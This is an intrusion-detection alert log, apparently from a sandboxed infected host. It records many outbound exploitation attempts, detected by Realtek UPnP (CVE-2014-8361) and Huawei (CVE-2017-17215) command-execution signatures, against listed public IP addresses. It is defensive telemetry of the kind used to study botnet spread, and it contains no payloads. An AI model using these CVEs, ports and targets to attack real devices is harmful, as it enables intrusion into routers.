2024-07-20T23:01:08.939279+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49680	52869	192.168.2.23	117.49.51.0
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48934	37215	192.168.2.23	157.121.108.79
2024-07-20T23:01:21.264733+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35072	52869	192.168.2.23	205.45.42.138
2024-07-20T23:01:25.227278+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44574	52869	192.168.2.23	216.207.228.137
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51658	37215	192.168.2.23	43.131.249.62
2024-07-20T23:01:21.608712+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42194	52869	192.168.2.23	167.134.108.32
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44552	37215	192.168.2.23	41.216.133.169
2024-07-20T23:01:20.227504+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48494	52869	192.168.2.23	124.144.192.144
2024-07-20T23:00:59.171003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47996	37215	192.168.2.23	157.75.190.222
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52904	37215	192.168.2.23	41.190.181.48
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45076	37215	192.168.2.23	41.126.20.80
2024-07-20T23:01:02.136941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57042	37215	192.168.2.23	148.121.203.188
2024-07-20T23:00:59.208769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35748	37215	192.168.2.23	197.112.222.157
2024-07-20T23:01:02.108705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53600	37215	192.168.2.23	41.131.89.154
2024-07-20T23:01:04.151190+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57978	52869	192.168.2.23	128.89.159.185
2024-07-20T23:01:24.892331+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37222	37215	192.168.2.23	144.93.159.93
2024-07-20T23:01:18.506018+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49826	37215	192.168.2.23	41.65.251.158
2024-07-20T23:01:18.515987+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35550	37215	192.168.2.23	168.165.233.141
2024-07-20T23:01:18.410806+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47982	37215	192.168.2.23	197.32.17.115
2024-07-20T23:01:00.656262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53410	37215	192.168.2.23	19.199.208.241
2024-07-20T23:01:21.199737+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56664	52869	192.168.2.23	107.75.193.125
2024-07-20T23:01:02.068327+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49516	37215	192.168.2.23	157.195.164.122
2024-07-20T23:01:21.194640+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48356	37215	192.168.2.23	41.156.85.195
2024-07-20T23:01:19.473907+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48448	52869	192.168.2.23	191.79.195.70
2024-07-20T23:01:18.292313+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37348	37215	192.168.2.23	86.49.143.0
2024-07-20T23:01:04.601975+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60594	52869	192.168.2.23	123.31.253.14
2024-07-20T23:01:19.859328+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57682	52869	192.168.2.23	13.112.9.246
2024-07-20T23:01:20.383814+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33564	52869	192.168.2.23	54.235.197.43
2024-07-20T23:01:18.416341+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56366	37215	192.168.2.23	197.221.173.151
2024-07-20T23:01:20.351771+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37654	52869	192.168.2.23	162.220.3.30
2024-07-20T23:01:21.116360+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38564	52869	192.168.2.23	205.29.56.156
2024-07-20T23:01:18.550419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39796	37215	192.168.2.23	197.52.45.132
2024-07-20T23:01:21.631759+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47382	52869	192.168.2.23	87.137.214.123
2024-07-20T23:01:00.656262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33920	37215	192.168.2.23	145.149.22.179
2024-07-20T23:01:20.253482+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36694	52869	192.168.2.23	153.0.45.254
2024-07-20T23:01:21.943543+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48624	37215	192.168.2.23	41.106.80.160
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55680	37215	192.168.2.23	197.17.32.247
2024-07-20T23:01:21.214202+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38728	52869	192.168.2.23	25.222.87.118
2024-07-20T23:01:02.067656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41596	37215	192.168.2.23	157.221.87.32
2024-07-20T23:01:20.979517+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60608	37215	192.168.2.23	41.222.48.132
2024-07-20T23:01:18.263044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36278	37215	192.168.2.23	157.203.14.217
2024-07-20T23:01:21.461356+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45902	37215	192.168.2.23	197.209.84.96
2024-07-20T23:01:22.224262+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35420	52869	192.168.2.23	68.46.168.107
2024-07-20T23:01:02.068327+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54670	37215	192.168.2.23	41.178.90.216
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52098	37215	192.168.2.23	157.225.33.253
2024-07-20T23:01:24.897385+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45666	37215	192.168.2.23	157.217.202.87
2024-07-20T23:01:21.547924+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34874	52869	192.168.2.23	134.167.171.74
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53158	37215	192.168.2.23	197.197.73.14
2024-07-20T23:01:04.444180+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50178	52869	192.168.2.23	218.228.206.146
2024-07-20T23:01:20.276054+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47212	52869	192.168.2.23	54.68.100.131
2024-07-20T23:00:59.201033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57576	37215	192.168.2.23	197.244.173.225
2024-07-20T23:01:18.416548+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50602	37215	192.168.2.23	157.15.115.232
2024-07-20T23:01:18.295095+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37174	37215	192.168.2.23	157.233.134.27
2024-07-20T23:01:20.203275+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41954	52869	192.168.2.23	108.144.159.228
2024-07-20T23:01:21.199737+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37926	37215	192.168.2.23	157.32.103.4
2024-07-20T23:01:20.134238+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37104	37215	192.168.2.23	48.147.199.167
2024-07-20T23:01:18.514565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46562	37215	192.168.2.23	197.224.182.83
2024-07-20T23:01:21.293559+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36248	52869	192.168.2.23	63.80.178.96
2024-07-20T23:01:19.328880+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44414	52869	192.168.2.23	12.55.180.198
2024-07-20T23:01:02.067656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51132	37215	192.168.2.23	157.212.218.203
2024-07-20T23:01:19.809328+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60470	52869	192.168.2.23	25.158.237.150
2024-07-20T23:00:59.216912+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37398	37215	192.168.2.23	77.13.19.125
2024-07-20T23:01:19.812725+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53798	52869	192.168.2.23	94.221.100.187
2024-07-20T23:01:02.108705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36080	37215	192.168.2.23	223.98.49.191
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37970	37215	192.168.2.23	41.232.6.48
2024-07-20T23:01:21.443334+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42126	52869	192.168.2.23	223.193.169.99
2024-07-20T23:01:20.169725+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60438	37215	192.168.2.23	197.121.187.182
2024-07-20T23:01:19.848630+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39800	52869	192.168.2.23	172.95.79.32
2024-07-20T23:01:04.621319+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39682	37215	192.168.2.23	41.255.209.13
2024-07-20T23:01:19.861971+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59764	52869	192.168.2.23	188.112.254.56
2024-07-20T23:01:21.464983+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38308	52869	192.168.2.23	129.27.232.7
2024-07-20T23:01:18.435936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56808	37215	192.168.2.23	197.138.137.217
2024-07-20T23:01:21.202136+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42130	52869	192.168.2.23	155.22.90.90
2024-07-20T23:01:19.826663+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56122	52869	192.168.2.23	34.53.37.254
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55228	37215	192.168.2.23	1.136.199.61
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44420	37215	192.168.2.23	157.90.253.17
2024-07-20T23:01:09.021221+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47164	52869	192.168.2.23	221.226.241.204
2024-07-20T23:01:18.431931+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40150	37215	192.168.2.23	41.226.72.201
2024-07-20T23:01:21.558738+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34558	52869	192.168.2.23	201.250.207.152
2024-07-20T23:01:00.664351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46836	37215	192.168.2.23	197.236.128.48
2024-07-20T23:01:08.938949+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51090	52869	192.168.2.23	142.90.33.83
2024-07-20T23:01:09.030401+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36084	52869	192.168.2.23	184.60.97.199
2024-07-20T23:01:21.199737+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34664	52869	192.168.2.23	146.210.17.240
2024-07-20T23:01:21.048326+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35924	52869	192.168.2.23	47.10.251.72
2024-07-20T23:00:59.201033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52234	37215	192.168.2.23	157.17.98.184
2024-07-20T23:01:02.088422+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36266	37215	192.168.2.23	176.150.171.140
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41918	37215	192.168.2.23	157.239.203.194
2024-07-20T23:01:18.596172+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54738	37215	192.168.2.23	41.9.160.205
2024-07-20T23:01:19.580103+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41228	52869	192.168.2.23	9.190.28.75
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39010	37215	192.168.2.23	157.24.24.246
2024-07-20T23:01:02.108705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49084	37215	192.168.2.23	41.218.249.85
2024-07-20T23:01:22.229921+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56436	52869	192.168.2.23	139.21.143.158
2024-07-20T23:01:21.146859+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56660	52869	192.168.2.23	166.7.60.196
2024-07-20T23:00:59.201622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50036	37215	192.168.2.23	88.195.110.211
2024-07-20T23:01:00.654988+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37138	37215	192.168.2.23	197.229.227.49
2024-07-20T23:01:21.943543+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36698	37215	192.168.2.23	157.83.139.204
2024-07-20T23:01:21.256224+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44056	52869	192.168.2.23	38.158.187.83
2024-07-20T23:01:02.097709+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58124	37215	192.168.2.23	197.68.112.71
2024-07-20T23:01:00.656262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51062	37215	192.168.2.23	197.12.203.6
2024-07-20T23:01:18.608485+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60150	37215	192.168.2.23	157.12.120.37
2024-07-20T23:01:09.165064+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45798	52869	192.168.2.23	189.75.86.189
2024-07-20T23:01:00.648489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41366	37215	192.168.2.23	197.37.15.231
2024-07-20T23:01:21.275869+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41340	37215	192.168.2.23	197.95.169.228
2024-07-20T23:01:19.857203+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33600	52869	192.168.2.23	213.241.106.75
2024-07-20T23:01:20.295477+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36392	52869	192.168.2.23	161.20.12.87
2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39268	37215	192.168.2.23	41.224.244.226
2024-07-20T23:01:18.596514+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50028	37215	192.168.2.23	27.41.96.136
2024-07-20T23:01:21.231934+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38630	52869	192.168.2.23	216.151.5.50
2024-07-20T23:01:18.322750+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43176	37215	192.168.2.23	157.215.252.1
2024-07-20T23:01:09.055028+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54640	52869	192.168.2.23	207.223.182.162
2024-07-20T23:01:18.596514+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58602	37215	192.168.2.23	157.10.69.196
2024-07-20T23:01:21.044874+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40138	52869	192.168.2.23	49.39.36.55
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49618	37215	192.168.2.23	197.74.184.130
2024-07-20T23:01:21.018478+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52026	52869	192.168.2.23	186.94.179.5
2024-07-20T23:00:59.238159+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38176	37215	192.168.2.23	41.20.53.198
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59906	37215	192.168.2.23	140.34.44.126
2024-07-20T23:01:18.377460+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37826	37215	192.168.2.23	41.76.26.43
2024-07-20T23:01:20.180872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59710	37215	192.168.2.23	23.247.196.153
2024-07-20T23:01:21.518128+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55040	52869	192.168.2.23	111.252.253.89
2024-07-20T23:00:59.203029+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50406	37215	192.168.2.23	157.51.198.43
2024-07-20T23:01:21.264733+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60300	52869	192.168.2.23	57.92.179.211
2024-07-20T23:01:19.554405+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44736	52869	192.168.2.23	190.124.94.237
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45164	37215	192.168.2.23	41.244.169.9
2024-07-20T23:01:18.248248+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44014	37215	192.168.2.23	143.179.199.146
2024-07-20T23:00:59.171002+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49226	37215	192.168.2.23	41.124.14.171
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51926	37215	192.168.2.23	41.13.46.200
2024-07-20T23:01:21.273032+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56040	52869	192.168.2.23	62.90.39.173
2024-07-20T23:00:59.170218+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57256	37215	192.168.2.23	157.43.107.32
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38614	37215	192.168.2.23	157.207.43.131
2024-07-20T23:00:59.175742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52752	37215	192.168.2.23	157.176.101.215
2024-07-20T23:00:59.236479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46326	37215	192.168.2.23	157.222.120.169
2024-07-20T23:01:21.008960+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54890	52869	192.168.2.23	25.0.169.170
2024-07-20T23:01:02.095698+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60312	37215	192.168.2.23	157.44.1.200
2024-07-20T23:01:21.233814+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56890	37215	192.168.2.23	197.10.234.194
2024-07-20T23:01:02.065712+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49936	37215	192.168.2.23	41.136.199.110
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43956	37215	192.168.2.23	197.16.71.7
2024-07-20T23:01:02.108705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37118	37215	192.168.2.23	41.96.43.132
2024-07-20T23:01:19.842102+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57978	52869	192.168.2.23	184.112.202.180
2024-07-20T23:01:22.845427+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42530	52869	192.168.2.23	47.237.197.200
2024-07-20T23:00:59.208769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42824	37215	192.168.2.23	139.165.159.227
2024-07-20T23:01:19.811438+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44282	52869	192.168.2.23	36.193.87.124
2024-07-20T23:00:59.171003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34534	37215	192.168.2.23	157.86.250.128
2024-07-20T23:01:18.436844+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47684	37215	192.168.2.23	41.214.148.214
2024-07-20T23:01:18.570296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34142	37215	192.168.2.23	197.5.25.5
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43154	37215	192.168.2.23	197.252.90.201
2024-07-20T23:01:21.670288+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44792	37215	192.168.2.23	139.13.89.177
2024-07-20T23:01:22.188401+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47786	52869	192.168.2.23	115.225.187.157
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52552	37215	192.168.2.23	157.113.160.230
2024-07-20T23:01:24.431186+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.23	41.185.218.214
2024-07-20T23:01:00.651026+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34184	37215	192.168.2.23	41.78.37.100
2024-07-20T23:01:20.182814+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50626	52869	192.168.2.23	161.203.121.55
2024-07-20T23:01:21.243581+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44870	52869	192.168.2.23	221.226.241.204
2024-07-20T23:01:09.021221+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49184	52869	192.168.2.23	44.188.193.15
2024-07-20T23:01:20.137445+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57738	37215	192.168.2.23	41.233.17.165
2024-07-20T23:01:21.294700+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57930	37215	192.168.2.23	157.129.226.209
2024-07-20T23:01:18.508899+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36788	37215	192.168.2.23	69.74.218.35
2024-07-20T23:01:19.578437+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46728	52869	192.168.2.23	13.18.63.141
2024-07-20T23:01:20.819226+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33560	52869	192.168.2.23	8.98.158.174
2024-07-20T23:01:19.798173+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57210	52869	192.168.2.23	135.9.168.169
2024-07-20T23:01:20.860262+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53182	52869	192.168.2.23	187.26.13.206
